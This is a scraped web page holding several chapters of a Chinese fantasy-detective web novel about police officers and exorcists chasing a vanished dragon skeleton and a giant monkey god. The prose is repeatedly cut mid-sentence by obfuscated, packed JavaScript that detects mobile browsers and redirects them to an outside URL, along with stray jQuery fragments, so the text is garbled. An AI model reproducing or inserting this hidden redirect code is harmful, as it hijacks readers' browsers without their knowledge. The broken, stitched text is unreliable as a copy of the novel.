l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15007156|161560||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
晚间表演了!”竹七九哈哈一笑,手里拿着一根懒树枝,嘴巴一张一合,不知道在说些什么东西。
轰的一声,四角的黄符烧起来,转眼又灭了,冒出一团浓浓的黑烟,众人捂着鼻子往后退,他在浓雾中看见薛暮冉,忍不住抓住他的衣服怒斥道:“你们到底玩什么花样?”
“大师说,龙骨还在这里,所以要把它找出来——”一脸委屈的样子,让人看了心烦。
罗明昶挥舞着双手,想驱散开这浓烟,这时后方的人群也骚动起来,似乎这些村民都在担心会不会起火,万一发展成森林火灾就麻烦了。
他也担心起来,丢失龙骨,再来个火灾,他就可以辞职回家养老了。刚准备上前阻止,起风了。黑色的烟雾很快飘散,视线也变得清晰,竹七九拿着那根烂树枝,翘着二郎腿坐在一只巨大的骨头上。
“这——究竟是怎么回事?”身后的惊呼声淹没了他的疑问,旁边两个下属也一脸惊讶,或者说,是惊吓更合适。
有种被耍的感觉,他怒气冲冲上前,盯着竹七九的眼睛,“是你偷得龙骨?”一手拽住对方的脚踝,将他拖到地上,再一个翻身压上去,用胳膊抵住对方的喉咙。
“你是怎么做到的?”声音低沉,眼神锐利而凶狠。
竹七九脸上依旧笑嘻嘻的,“我说,罗队长是吗,你再不放开我,等会在这群人面前丢脸,可就别怪我不留情面了。我既然可以找回龙骨,照样可以把你打趴下。”
声音很低,却有股不容置疑的气势。罗明昶犹豫了一会,放开了。
竹七九拍拍身上的灰尘,笑道:“这是跟大家变戏法呢!龙骨一直都在这里!”
几个胆大的上前去摸摸骨头,也跟着喜逐颜开:“对对,是真的,龙骨又回来了!”其他的村民这才跟着走过去,议论声也大起来。
目睹这一切的罗明昶自然不信这是什么戏法,现场他已经检查多次,龙骨连个影子都没有,怎么可能说出现就出现,这么大的东西,能藏在众人眼前,在一瞬间消失,又在一瞬间出现,这根本是邪术!
对!就是邪术!跟那起绑架案一样,这些人都不正常!看着兴奋的村民,他又犯难了。眼下这么多人,他要照顾普通群众的情绪,很多事情都放不开手脚去做。
看了一眼同样兴奋的两个手下,他叹了口气。
“喂,小徐,你让大家先散了,回去休息,这里今晚就我们自己来值班。”他抓抓头发,无奈地下指示。
徐怀洲立刻会意,拉着赵天允游说这群村民,终于让他们结伴回家。不一会,山里安静下来,只剩下四名警察跟一个 ‘编外’成员。
“总算,可以好好说说话了!”罗明昶呼出一口气,摸摸口袋,掏出烟盒,发现里面已经空了。只好将空盒子捏成团,扔在地上。后脑勺又开始疼了,他伸手揉了揉。
一直神神道道的竹七九忽然哈哈一笑,一副浑然不觉的样子,坐在烧得劈啪作响的火堆边招呼:“大家先坐下吧,这话可长着呢!”
什么长着,我看你就是嫌命长了!罗明昶有些不爽,两个下属也在一旁愤愤不平,他反而平静下来了。
看见旁边已经摆开架势,严阵以待的薛暮冉,他有些犹豫。虽然对方个子不高,但是那双眼睛却有一股原始的野蛮气息,浑身散发出来的气势丝毫不输给自己。直觉告诉他,对方一个能干翻自己这两个小跟班还绰绰有余。
43.第四章 谜团重重
殊不知此时,薛暮冉也在暗自掂量着双方的实力差距,虽然这次过来种桑乡是来支援的,但是见对方态度不佳,一直咄咄逼人,本就年轻气盛的薛暮冉自然安耐不住,要不是竹七九一直毫不在意,围着防雨布忙来忙去,他早就撸起袖子教训这几个不懂礼貌的‘同事’了。
就这样,火堆哔哩啪啦烧着,众人脸色随着摇动的火光也变得微妙起来。竹七九大喇喇坐在火堆边,背对着几人,笑得一脸开心。
“算了,都是同行。”方脸队长认命似的坐下来,两个跟班也不情不愿的依次排开,绕着火堆坐下。
“这样才对嘛!”竹七九招招手,薛暮冉也放下警惕,走了过来。
面对着这只巨大的头骨,五个微小的身影随着火光轻轻晃动。竹七九摸着下巴,眼珠子来回转着,看了一圈众人的表情,嘴角翘起,笑道:“其实很简单,这一切都是假象,那个龙骨就被藏在众人眼前。”
“那他们是怎么做到的呢?”薛暮冉奇道。
“咒术,障眼法听说过吗?”竹七九盯着面前的火堆,“如果我说,面前的火焰是一条龙,你们信吗?”
“怎么可能?你当我们是傻子啊?”高个子赵天允用鼻子发出不屑的声音,脸上写满了鄙视。
“当然了,要加点料。”噼啪一声,火堆中冒出一条细小的火龙,长须飞舞,四只爪子凌空虚探,一双冒着火花的眼睛里看不出表情,但从它龇牙咧嘴露出的獠牙上可以察觉出,它似乎在生气。
一道亮光闪过,火龙冲天而起,飞向天空,幼小的身躯逐渐变大,在广阔的天空中化为一条巨龙,烧得噼噼啪啪像是放鞭炮似的,忽然砰的一声,在半空中炸开,随即消失在空气中。
一瞬间的光芒,照亮了这片山野。高处的山头上,两个人影趴在地上,正全神贯注看着山下,丝毫没有注意到这条冲天而起的火龙。
“这——究竟是——”赵天允支支吾吾,看向队长。
“障眼法而已!”竹七九拍拍手,顿时金粉飞扬,“这是在那些龙骨身上刮下来的,看来对方这次是下了血本啊,听说这东西很贵呢,都是掺了真正的黄金做成的。”
“这些是金粉吗?黄金碎成的粉末?”矮个子徐怀洲摸了一把地面,手指上也沾上一些金色粉末。
“不仅仅是黄金,还掺杂了很多其他的东西,只要将这东西洒在你的身上,在以一定的暗示去影响别人,那么,被影响的人看见的你,就会变得不一样了。”
“什么意思?怎么听不懂啊!”赵天允着急的叫起来。
“也就是说,有人把这金粉洒在龙骨身上,然后给其他人暗示,说龙骨丢了,这样大家就都看不见这骨头了?真的可以做到吗?”徐怀洲反应很快,理清楚里面的关系。
“那你以为,刚刚看见的是真的火龙吗?”竹七九笑嘻嘻的反问。
“可是,暗示是怎么下的呢?”一直默不作声的队长罗明昶忽然开口。
“那你就要找到,第一个说龙骨不见了的人,到底是谁了。”笑容逐渐消失,竹七九看着火堆,将剩下的金粉也撒进去,这次却没人再看见火龙。
“没有暗示,障眼法就不会成立。而且,还有个关键的东西,就是让你中术的引子。”竹七九又掏出一把黑色粉末,放进火里,立刻噼噼啪啪响起来,“就是声音,一般都会拿声音来做引子。”
“难怪,我说今天这篝火未免烧得太响了!”薛暮冉恍然大悟,笑着说道。
“既然如此,刚刚就不该放那些村民回去!”罗明昶一拍脑袋,转向身侧的两个下属,“刚刚,有没有问清楚是谁先发现龙骨不见的?”
“没——没有啊,他们都说,就是一瞬间大家都嚷起来的——”徐怀洲讷讷回答。
一时间,几人都沉默起来,眼前的树枝烧断了,发出正常的咔嚓声。竹七九眼角忽然瞥向旁边,紧接着,几粒山石从山头上滑下来,他低着头轻轻笑了笑,很快又恢复原本的表情。
“还好龙骨没丢,这就行了,只要等市里的专家到了,我们顺利把现场交给他们就行。”像是发表总结陈词似的,罗明昶说完这句,剩余的人也都不再说话。
空中升起一轮上弦月,淡淡的光辉洒向树林深处,树影斑驳。远远瞧去,一前一后两个人正在快步走着。
“刚刚你怎么这么不小心?石块掉下去要是被他们发现我们可怎么办?”年轻男子的声音寒若冰钟,铿锵有力。
“哥哥,对不起,我是看他们发现了障眼法,一时有点着急了,所以才没注意脚下——”清脆的女子声音响起,似乎在解释方才石子掉落之事。
“看来,你的纸分身也是被他们给毁掉的,那个穿夹克的男人看着一脸痴呆相,竟然还有点本事,看来接下来的事情不好办了,我们要小心行事。”
“是——”女子弱弱应着,“对了,哥哥你说那个男人到底是什么来头啊?难道跟我们一样,是除妖师吗?”
“目前收录在册的除妖师大都是我们家族里的人,少数外姓人也都是拜在我们门下的弟子。就算他真的有点本事,也是野路子,不足为患。”男人冷冷解释。
“也是,只是——”女人再次犹豫,“本来可以乘着他们乱作一团,我们出场请出龙骨的,结果被他抢先一步,接下来的计划怎么办?”
“不是有市里的专家团要来吗,既然如此,就来个偷梁换柱。”
两人终于走到林子外面,清冷的月光照在他们身上,只见两人都穿着黑色长袍,女子一双狭长的丹凤眼,鼻头有一颗若隐若现的浅痣。男子双目神采奕奕,嘴唇紧紧抿在一起,面部线条俊秀而刚毅。两人眉宇之间有些相似之处。
第二天下午,所长钱国勋亲自带着专家来到现场,并让罗明昶去附近村落张罗出两间干净的屋子,让专家在这段调研的时间内居住。
因为初来乍到,对当地情形不是很熟悉,竹七九二人得以偷空留在现场,给这些专家打下手。不过那两个专家似乎并不满意这个安排,拉着所长在一旁抱怨起来。
来的人一男一女,看上去年纪不大,也就二十多岁的样子。薛暮冉皱着眉思索,总觉得这两个人十分眼熟,但是却想不起来在哪里见过。
竹七九见状,低笑一声,敲了下他的额头,说道:“你忘了啊,那两个纸人。”
原来如此!薛暮冉做出恍然大悟的样子,又开始疑惑:“现在专家都这么厉害了?还会那些道术?对了,大师,是我孤陋寡闻还是世道变了啊,现在已经修道者遍天下了吗?”
“修道者一直遍天下的,只是你没注意过而已。”竹七九有些无奈地笑着,“只是,一般只是修身养性,极少数人可以修炼出法术。当然,这些都看机缘。只是,这两个人看上去都不简单,可以制作纸分身为自己搬运行李,还能一路摇晃三清铃防身,怎么看,
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15015732|161560||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
都不简单。”
“我觉得——”薛暮冉有些不屑,“还是大师你最厉害。”
竹七九愣了一下,似乎没想到这突如其来的表白,忍不住脸颊微红,一时语塞。干咳两声,继续道:“这次对方应该也是冲着龙骨而来,看来,这里面的确另有玄机,我们要多加小心。”
“这东西不是要进文物局展览的吗?有什么重要的?难道拿回去熬汤能长命百岁?”薛暮冉开始一如既往的胡说八道。
“谁说要进文物局了?”竹七九对这突如其来的信息有些摸不着头脑。
“刚刚听那个所长说的啊,说是上面文物局的派人来挖掘龙骨,要带回去研究,展览的。那两个专家还一直点头附和呢!”
“一般不是地质矿产部门负责生物化石的挖掘工作吗——怎么会是文物局呢——”竹七九喃喃道,“难道——”
他看向远处热烈交谈的三个人,忽然明白了其中关窍。
不久,罗明昶带着下属回来,称已经在村中找好房子,当晚就可以请专家入住。钱所长咧着嘴怪异的笑了笑,夸赞他做得好。
赵天允偷偷在一旁笑道:“今天所长格外亲民啊,就一个人来这大山里,也不怕迷路。他以前出门不都要人帮他把车子叫好嘛,这么胖的身子,能爬到这山里还真不容易!”
的确,钱国勋约莫四十多岁,满脸横肉,肥厚的两片嘴唇上下一开一合,正在跟专家谈话。上身穿着一件淡蓝色衬衫,大腹便便,肚子前面的位置绷得很紧,扣子艰难的维系着衣服,似乎随时会崩开。
“以往所长出门不都穿制服的嘛,今天怎么穿着衬衫就过来了?”徐怀洲也有些奇怪。
“别管这些闲事了,既然专家来了,也就没我们什么事了。”罗明昶有些不快的皱眉,走到所长身边,“钱所长,眼下专家们既然到了,是不是我们就可以回去了。最近堆积不少案子还没解决——”
“这样啊,”所长瞪着一双无神的眼睛,思考了一会,“也行,既然专家来了,你们就回去忙自己的吧。”
罗明昶松了口气,总算将这个烫手山芋丢出去。他想起前不久发生的那起河边惨案,忍不住开始摩拳擦掌起来。
只要破了那起凶残的杀人案,升职指日可待!
这时,薛暮冉开口了:“可是,那我们怎么办?”
“你们?当然也跟着罗队长一起回去啊!”所长有些不解。
“所长,你忘了啊,他们是彩衣镇过来支援的,不是我们局里的同事。”这次不解的换成了罗明昶。
“这样啊,我这记性也不行了!”钱所长一拍脑袋,呵呵一笑,然后让罗明昶带着众人先回去,特别嘱咐要好好招待这两个从彩衣镇过来的同僚。
对这个一反常态的所长,罗明昶满头雾水,最终敌不过对方的官威,带着其他四人往山下走去。
竹七九一路哼着小调,不知道从哪里捡了根树枝,一边走一边乱舞,忽然停下脚步,回头看去。见已经完全脱离山中人的视线,才开口:“我说,罗队长,你难道不觉得今天的所长怪怪的吗?”
“是有点怪,好像——”罗明昶猛地惊醒,警惕的回答:“你什么意思?我们所长轮不到你来评价!再说了,你以前又没见过他!”
“话虽如此,不过,那两个专家我倒是见过!似乎里面不太正常哟!”
戏谑的笑容,让人莫名有些不安。
44.第五章 偷龙换凤
夕阳斜躺在远处的山窝窝中,像是青色的茶碗里装着个圆润的咸蛋黄。罗明昶将制服脱下,围在腰部,跟着面前这两个外援绕到山背处,沿着陡峭的山路缓慢往上。
两个下属已经赶回县里,确认所长踪迹。
他本不想理会这个疯疯癫癫的怪人说的话,但竹七九的眼里有种不容置疑的坚定,他很轻易的动摇了。
也许他本就不适合干警察这个职业,表面看上去是个威武不能屈的硬汉,实际内心却出乎意料的软弱,以及不自信。不,也许是因为曾经太过自信,当年的案子才会以失败而告终。
那是三年前的事情,当时本地混乱无比,无数小混混集结成群,打家劫舍。飞龙村一户有钱人家的女儿被绑架,劫匪要求三天内凑齐五十万块,送到村子北边护城河岸边一处土地庙中。
他们布下天罗地网,将土地庙围得严严实实,谁料,最后还是失败而归。原来土地庙下面早就被挖空了,钱人两失。
绑匪痛恨警察参与进来,将受害人折辱一番后,扔进护城河里,此后生死不明。那户人家将这一切归咎于警察办事不力,因此拒绝跟警方有任何往来。
然而这一切,跟自己有什么关系呢?罗明昶当时不过是个小队长,然而最终似乎只有他受到了处罚,被下派到地方派出所,处理一些不痛不痒的家长里短。
这些年来,他一直忿忿不平,想着再办一起大案证明自己。可惜时代已经变了,各地的流氓混混都一溜烟的消失,世界重新恢复秩序。
原来,颠倒都在一瞬间。佛曰:放下屠刀,立地成佛。那些抢劫普通民众财务,趁乱打伤早就看不惯的邻居,借机欺负原先看不上自己的女孩的‘恶人’们,一转身都变成了良民。而执掌律法的使者们却碍于规定,不能将他们绳之於法。
这个世界,到底是恢复正常了,还是变得更加混乱?这个问题一直萦绕在罗明昶的脑海里。
等他们爬上山顶,太阳完全藏进山后头,只剩下几片通红的云彩还挂在天边。在悬崖边扎营,三个人不敢发出一丝声响,静静看着天色越来越黑。
很快,山下生起火堆,他们趴在悬崖边的石头后面,看着山下那三个人的动向。很快,罗明昶就后悔让那两个手下回去了。因为山下那个所长忽然失去体积,变成一张扁平的纸板,被那两个‘专家’投入火堆中。
一瞬间,明黄色的火焰大了一倍,随着纸张燃烧殆尽,火光又恢复成原来的模样。罗明昶心下好奇,刚准备出声询问,竹七九伸出食指竖在嘴巴前,暗示暂时不要出声。于是他只能默默注视着下面,不发一言。
不知过了多久,山下的两人忽然起身,走到防雨布下不知道在忙些什么,许久没有出来。不一会,防雨布下发出熊熊火焰,那一男一女退到远处,静静注视。
烧了大概半个小时,火势逐渐变小。由于上方的防雨布也被大火烧个精光,反倒让山上的几个偷窥者得以扫清障碍。
山下那两人对视一眼,微微笑了笑,刚准备上前查看情况。忽然身后树叶沙沙作响,远处的几棵大树接连倒塌,发出巨大的撞地声。
那两人面容严肃,退到一边藏住身影。山上的几人也屏住呼吸,此刻他们的视线更加宽广,可以清晰的发现那些倒下去的树木是笔直冲着这边而来。
来人到底是谁,可以轻易折断这些粗壮的松树?罗明昶心脏突突直跳,紧紧盯着地面。随着斜坡边的一棵大树缓缓倒下,一只猴子蹦了出来。
猴子?怎么会是猴子?不过,这确实是只猴子。罗明昶有些失望,盯着山下那只突然跳出来的猴子,又看向竹七九。
见对方依旧凝神静气,他只好也继续保持沉默。
仔细看去,那只猴子似乎很不寻常。四肢强壮的有些过了头,那只胳膊似乎比正常人的大腿还粗。而且,猴子还穿着——盔甲吗?虽然只剩下一半挂在身上,不过,看样子很像古代人打仗时候穿的装备。
那猴子似乎很害怕火焰,捂着眼睛,靠在一边的树上不敢往前。
这时竹七九发话了:“就是现在,赶紧下去!”说着抓着两人的衣领,往下一跳。
刹那间,罗明昶觉得自己的心脏好像停止跳动,似乎要从嗓子里蹦出来。身体一轻,他脑子也跟着放空,变成一个空壳。
忽然大地扑面而来,他摔到地上,沾了一身灰尘。黑色的灰,遍地都是。旁边的薛暮冉脚下一滑,叫出声来,脸上露出痛苦的表情,但很快就恢复原样。他们站在龙骨内侧,火焰还剩下一小簇,虽然有些灼热,但是可以忍受得住。
竹七九一脚踹裂了龙头骨,在双眼中间的位置,掏出一枚漆黑的珠子藏在怀里,刚准备往旁边逃走,忽然两道身影阻住他的去路。
是那一男一女两个假专家。罗明昶有些摸不着头脑,这一切来得太快,他根本没时间思考。
那年轻的男专家面色阴寒,冷冷看着竹七九:“把东西交出来。”
“又不是你的,老子想拿就拿。”竹七九笑得很随意。
“是我们先发现的,先到者先得。”女孩也上前一步,满脸怒容。
“这不是先到先得的东西吧?这是要交给国家的啊!”罗明昶有些迟疑的说出这些话,果然,被对面两个人狠狠瞪了一眼。
早知道,就不该让那两个人回去!罗明昶欲哭无泪,眼前的局势差到让他开始担心自己今晚能不能活着回去。
在这期间,火光灭了。
几人顿时大惊,下一秒,那只猴子登场了,一拳头将剩余的龙骨砸个粉碎,耳边除了呼呼的风声外,只剩下咔嚓的爆裂声。以及,浓郁的血腥味扑面而来。
猴子慢慢直起腰,一下子伟岸起来。罗明昶忍不住双腿发抖,差点站立不住。在山上还不觉得,离近了看才发现,这东西起码有两米多高。黑暗中虽然看不清楚,但是光是这黑漆漆的剪影足以勾勒出一个身材强壮的高大身躯。
砰——清脆的金属撞击声震得几人心头一阵清明,定眼看去,对面那个男人手里忽然出现一只奇怪的铃铛。竹七九低声说道:“不想死的话,就合作吧。用你们的老把戏。”
对面的男人虽不情愿,仍旧点了点头。
砰——又一声铃响,那怪物嘿嘿
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15020678|161560||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
一笑,露出惨白的獠牙,又往前走了几步。
黑暗中,竹七九在腰间摸了一把,只听见噗——地一声,像是什么瓶塞被打开,接着他咕咚咕咚喝起来,空气中散开一阵酒精味。
“这个时候你还喝酒!”罗明昶低声斥责。
忽然身子被人往后猛地拽了一把,罗明昶一下子没站稳,靠在石块上。竹七九掏出火折子,像变戏法似的,吐出一口酒,猛地点燃,大叫一声:“火龙!”
绚丽的火花四处飞溅,一只巨大的火龙冲天飞起,明亮的光芒顿时照亮了几个人的脸庞。猴子慌忙捂住眼睛,往后连退几步。
这边通力合作的几人也十分默契,连忙往山下奔跑。罗明昶一个没站稳,滚下山坡,竹七九本想拽住对方,可惜眼下情势危急,也顾不得许多,只能等脱困之后再做打算。
飞身跃起的时候,好像做梦一样!这是罗明昶最后的感觉。
等其余几人看见村庄的时候,猴子已经飞奔而来,两只强壮的后肢踩得地面像是要地震似的晃动。
竹七九猛地止住脚步,双手一挥,两把香灰似的东西跟着洒向那只巨猴的眼睛。然后身影一闪,避过撞过来的猴子身体。
狂躁的低吼声从眼前不断打滚的巨兽喉咙里发出,那东西捂着眼睛,似乎十分难受。竹七九慌忙招呼其余几人继续往前奔跑,敲开一户还亮着点灯的人家大门,几人藏了进去。
厨房被他们扫荡一空,猪油跟酒水被洒在院子里,下一秒,熊熊火焰已经冲上天空。这户主人夫妻两吓得在墙角瑟瑟发抖,说不出阻止的话来。窗户边探出两个小孩脑袋,正兴奋地看着这团火焰。
哐当——院子大门被踢碎,木头飞了一地。其中一块砸到薛暮冉的头上,疼得他差点一口气没上来。
火焰后面,缓缓出现那只巨猴的身影,它瞪着一双红彤彤的眼睛,像是从地狱爬上来的恶鬼。
一拳头,砸碎了院墙,土块哗哗的碎了一地。
竹七九拉着众人紧靠着火焰,又一声清澈的铃音,紧接着不知谁撒了一把什么东西进火里,尖叫着:“凤凰!”
金色的巨鸟从火堆中飞起,挥动着巨大而明亮的火焰翅膀,在众人头顶盘旋。
屋里的两个孩子看的呆了,小小的眼睛亮晶晶的,这将是他们终身难忘的场面。
那巨猴绕着火堆走过来,一只手遮着眼睛,另一只手随手拿起什么就扔在地上,一时间,院子已经狼藉一片。
很快,绕着火堆走了小半圈,那巨猴已经绕到房子前面。忽然,那位女主人尖叫一声,指着窗户喊道:“快躲起来!”
此举反而提醒了那只巨猴,那双发红的眼珠子微微转动,发现了藏在窗后的两个小孩。他咧开嘴笑了,弯着腰踏上走廊,一拳头,将墙面打碎,然后拎着一个大些的孩子走到院子内。
开口了:“不把火熄灭,我就把他扔进去!”沙哑的嗓音,刺的人耳朵生疼。
那个孩子蜷曲着身体,吓得连哭都哭不出来,只是睁着一双眼睛看着不远处的父母,呆了。屋内那个孩子呜咽着哭起来,大声呼唤着父母。
45.第六章 千年之怨
几人僵持着,一时间也不知道该如何是好。竹七九盯着那个小小的身影,以及捏住那个小身影的巨猴,深深叹了口气。
走到墙角的水缸边,奋力抓着边沿,却发现早已没有了力气。忽然手上一轻,他抬头撞见薛暮冉的笑容,心头忍不住泛起一丝暖意。
薛暮冉搬着水缸,来到火堆边,作势要扑灭火焰,却被那个摇铃的男人制止。他有些不快,“那个孩子因为我们才被抓住,不能不救。”
“你扑灭了火焰,也不一定能救下那孩子,反而,我们都活不了。”男人的话听上去好像有几分道理。
薛暮冉犹豫了,这时一股意想不到的推力撞过来,原来是那个母亲,将水缸撞倒,一下子,水缸碎裂,水花四溅,火光灭了,只剩下走廊电灯还亮着光。
不过,这怪物似乎并不惧怕那人工的光亮,缓缓放下遮挡眼睛的手。
“求求你,放了我孩子!”那个母亲跪在地上,满脸泪水的苦苦哀求。
“当然。我可不像你们,不守信用!”巨猴冷笑几声,忽然将那孩子甩出去。
薛暮冉看得呆了,忽然身后响起呼呼地风声,左右各有一道影子也跟着飞出去,他眼睛已经跟不上对方的速度,完全看不清到底是谁。
下一秒,咚——的一声,竹七九撞在墙壁上,吐了口血,怀里抱着那个孩子。墙边还站着一个人,是那个摇铃的男人。
巨猴低沉的笑声再次响起,“应龙的内丹,给我。”继续逼近薛暮冉几人。
“什么?银笼?银子打成的笼子吗?什么内胆?水瓶内胆吗?银子打的水瓶内胆吗?”薛暮冉脑子飞速旋转,大声问着旁边那个瘦削的女孩,一边后退,结果差点摔跤,原来地上正放着方才摇铃男人的背包。
“你到底是不是除妖师啊?连应龙的内丹也不知道!”女孩露出鄙视的表情,“那只龙骨,如果不出意外,就是应龙的尸骨,这内丹更是修炼千年的精华所在。这怪物想要那内丹也没什么奇怪的。”
“就是刚刚大师掏出来的那个珠子吗?怎么怪物身上都喜欢藏珠子,是有什么特殊爱好吗?”薛暮冉有些不解。
“那是自然!阴阳调和,就是一个圆啊。所以大多数修炼者的内丹都是圆形的,便于吸收吐纳。”女孩解释完,冲着那巨猴叫道:“不知阁下是哪路神仙,为何知道这是应龙的内丹?”
巨猴哈哈狂笑,身上仅剩的盔甲也裂成碎片,掉在地上,“现在竟然都没人认识我了,真是可悲可叹!”
“他是淮涡水神,无支祁。”竹七九衰弱的声音从墙角传来。
巨猴身躯一震,缓缓转过头去,冷笑着:“你小子,倒有几分眼力,你叫什么?”
“竹七九,贱名不值一提,只是,这具尸骨并不是应龙。”竹七九喘了口气,将孩子放在地上,扶着墙壁站起身,“这内丹是水族的,而非天龙。不相信的话,您自己看吧。”
随手一抛,那颗漆黑的珠子被巨猴接住,他盯着看了半晌,略带忧伤的转过脸,又将那珠子抛了回去:“既然如此,就赏你了。”
一声尖锐的鸣叫声从旁边院子中响起,天边慢慢亮了,原来,已经到了早晨。巨猴看着远处透着光芒的云彩,神情萧索,走到竹七九身侧,低声耳语几句后,纵身一跳,翻出院墙外。
目送着那怪物离去,院内的几人纷纷松了口气。竹七九靠在墙壁上缓缓坐下,大口喘着粗气。怀里的孩子跌跌撞撞往自己母亲身边跑去,一边跑一边哇哇大哭。
那摇铃的男人蹲下来,从怀里掏出一个白玉瓶子,递给竹七九:“我叫禾间临,这是可以内服的丹药,活血化瘀的。”
竹七九微微一笑,刚想说话,猛地咳了一声,吐出一口鲜血。禾间临见状,刚想上前扶起他,却被他推开:“我血里不干净,别碰我了。让我坐会就行,你先去看看其他人情况吧。还有这间屋子,坏成这样,我可没钱赔哦!”
“这个你放心,这里的一切损失,都由我们来负责。”禾间临说罢,走去男主人身边,不一会,就看见原本愁眉苦脸的男人笑开了花,脸上的皱纹也舒展开来。
心知事情已经解决,竹七九也放下心来,将那瓶子打开,倒出一粒紫金色的丹药塞进嘴里,盘腿坐在地上调整着呼吸。不一会,已经恢复正常的呼吸频率,他只觉得从胃里升起一股灼热的火焰,极大地缓解了胸口的伤痛。
远处,薛暮冉坐在廊下,低声询问身旁的女孩:“唉,你说,大师在做什么?那么重的伤要送医院才行吧!”
女孩白了他一眼,冷冷回答:“有了我们家的药丸,别说那点撞伤,就是手断了都能给你——”
“手断了都能长出来?那你们牛啊!”薛暮冉惊讶的回答,似乎很轻易接受了这个信息。
“才不是!是手断了都能给你接上止血,谁手断了还能长出来,那得大罗神仙才能做到吧!”女孩严重轻蔑之意更甚,见禾间临走过来,忙站起来站到他身后。
“芍华,我们也该收拾收拾回去了。”禾间临拎起扔在墙角的背包,“既然那不是应龙的内丹,对我们来说,也没什么用。”
“唉,那不是又是无用功?”被称为芍华的女孩不高兴的撅着嘴唇。
“那本来就是神话里才有的东西,现在时移世易,能找到才是奇迹,你早就该做好心理准备。”禾间临看了眼坐在墙角的竹七九,神色复杂的离开了。
旁边的女主人揽着一大一小两个孩子坐在门口,温声哄着。男主人收了一大笔钱,喜形于色,赶忙走进屋里。等他再出来时已经换了一身打扮,冲坐在门口的女主人叫道:“我去找老李,让他给找几个瓦匠来修房子,你们就在这里坐着别动,我马上回来。”
然后又抱歉的冲薛暮冉笑笑,往院外跑去。
旭日高升,院子中间被昨夜的大火烧得黑乎乎的,旁边躺着摔碎的水缸,还有几只母鸡聚集在墙角在地上捡食。这平和的场面让时间变得迟缓,一时间薛暮冉忽然觉得浑身发软,困意袭来,逐渐倒在走廊下睡着了。
旁边的女主人有些不知所措,抱着两个孩子往旁边挪了几步。小一些的男孩指着旁边倒地不起的陌生男人,大声问着:“妈妈——他在干什么啊?”
年轻的女主人慌忙捂住孩子的嘴,做出嘘声的动作。
“额——啊——”院子角落里,竹七九伸了个懒腰,缓缓站起来,左右扭动着身体,大步往这边走来,见到这两个孩子,他笑嘻嘻的蹲下来小声说:“那个小叔叔昨夜累了一晚上,所以困了,在睡觉,你们也要乖乖的,不能给妈妈添麻烦哦!”
这个小男孩记得昨夜是面前的男人救了自己,也很乖巧的放低声音回答:“我会听话的!”
竹七九笑着摸摸孩子的头,然后走到薛暮冉身边,将他一把扛起。熟睡中的人丝毫没有察觉,像一滩烂泥似的趴在他人的背上。
终于,最后的不速之客离开了院子。
已经到了农历六月份,哪怕是早晨的太阳也十分炙热,没走多久,竹七九已经累得满头大汗。在村子口,碰见带着下属姗姗来迟的罗明昶
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15025334|161560||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
。幸好,他还带了担架。于是薛暮冉暂时佯装伤患,躺了上去。
等到了当地派出所附近,已经接近中午。竹七九推醒了还在打呼噜的‘伤患’,拒绝了罗明昶好心提议先去医院的主张,径直进了派出所大门。
这间被拿来当做派出所的院子看上去十分老旧,墙面的石灰已经掉了一大片,露出红色的砖块。走进院子里面,左右的空地上都种着绿色的蔬菜,只剩下当中一条小道供人通行。面前是一间两层楼的平房,表面也是一样的斑驳,处处透露着年久失修的沧桑感。院子后面似乎还有几间瓦房,门前放着两排铁架子,上面晾着衣服,看来应该也是宿舍。
靠在门上看了会后院,所长挺着肚子走出来,似乎对这一切的经过很感兴趣。
将一切都用中了‘幻术’来解释,似乎说不过去。竹七九只好拣了稍微容易让一般人接受的山里猴子寿命太长,可能通了点人性的理由,将一切搪塞过去。
原来昨天后半夜,在山沟里醒来的罗明昶紧赶慢赶回到派出所里,打算召集一批人上山支援。谁知道整个警察局没一个人相信他的话,包括那两个一同上山的下属赵天允跟徐怀洲。
无奈,他只好借口要保护龙骨,这才迫使所长拨了几个人陪同着上山,结果到了地方才发现,除了一地烧成黑灰的防雨布,龙骨已经消失无踪,连一块骨头碎片都没找到。
觉得奇怪的他四处寻找,只找到几个硕大的脚印,沿着那入土三分的印子,他们来到这个村子口,发现扛着薛暮冉的竹七九,于是几人一同来到派出所解释情况。
自然,深知这一切为常人难以接受的竹七九很机智的编了一个说得通的故事,将一切归结于山里动物作怪,那些龙骨八成也是被那些猴子啊野狗啊之类的掏走了。这才将一切糊弄过去,当然,除了亲身经历的罗明昶以外。
